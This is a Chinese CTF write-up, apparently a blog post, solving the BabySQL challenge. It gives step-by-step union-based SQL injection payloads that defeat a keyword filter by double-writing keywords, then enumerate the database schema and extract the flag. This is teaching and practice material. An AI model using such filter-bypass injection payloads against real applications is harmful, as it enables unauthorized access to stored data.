[极客大挑战 2019]BabySQL1

1.[极客大挑战 2019]BabySQL1

打开是这样的,是之前两个题的升级版

老样子先试一下万能密码

报错:你有一个错误在你的SQL语法;检查与您的MariaDB服务器版本对应的手册,以便在第1行'1=1#'和password='123 "附近使用正确的语法

抓包试试也看不出什么

去看了别人的wp

题目提示是sql注入,试一下注入

1’ order by 3#&passward=123   报错发现order中的or与by都被过滤了

1'union select 1#&passward=123 报错 发现union select被过滤

在测试 where也被过滤了 应该是用了replace函数替换成了null

再试一下双写绕过

1'ununionion seselectlect 1#&passward=1

虽然显示了error 但   The used SELECT statements have a different number of columns

意思是所使用的SELECT语句具有不同数量的列

有回显说明双写绕过是可行的

继续试列数 order by 被过滤了用不了

试一下

1'ununionion seselectlect 1,2,3,4#&passward=1 报错

1'ununionion seselectlect 1,2,3#&passward=1  有回显,说明有三列

后续与[极客大挑战 2019]LoveSQL原理一致,用双写绕过即可

查询当前数据库名及版本

1'ununionion seselectlect 1, database(),version()#&passward=1

可知当前数据库名为geek

爆表

/check.php?username=1'ununionion+seselectlect1%2C2%2Cgroup_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase()%23&password=123

/check.php?username=1'ununionion+seselectlect1%2C2%2Cgroup_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase()%23&password=123

报错了  因为 where from 与information中的or被过滤了

继续双写

/check.php?username=1'ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata%23&password=1

/check.php?username=1'ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata%23&password=1

所有表:information_schema,mysql,performance_schema,test,ctf,geek

查询表名(继续使用联合查询)需要双写的有information,from,where

看到了有一个表名为ctf的

爆表

payload:username=1’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorr
mation_schema.columns whwhereere table_schema=’ctf’#&password=1

url:username=1%27%20ununionion%20seselectlect%201,2,group_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema=%27ctf%27%23&password=1

得到字段:Flag

爆字段

payload:username=1’ ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#&password=1

url:username=1%27%20ununionion%20seselectlect%201,2,group_concat(flag)%20frfromom%20ctf.Flag%23&password=1

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值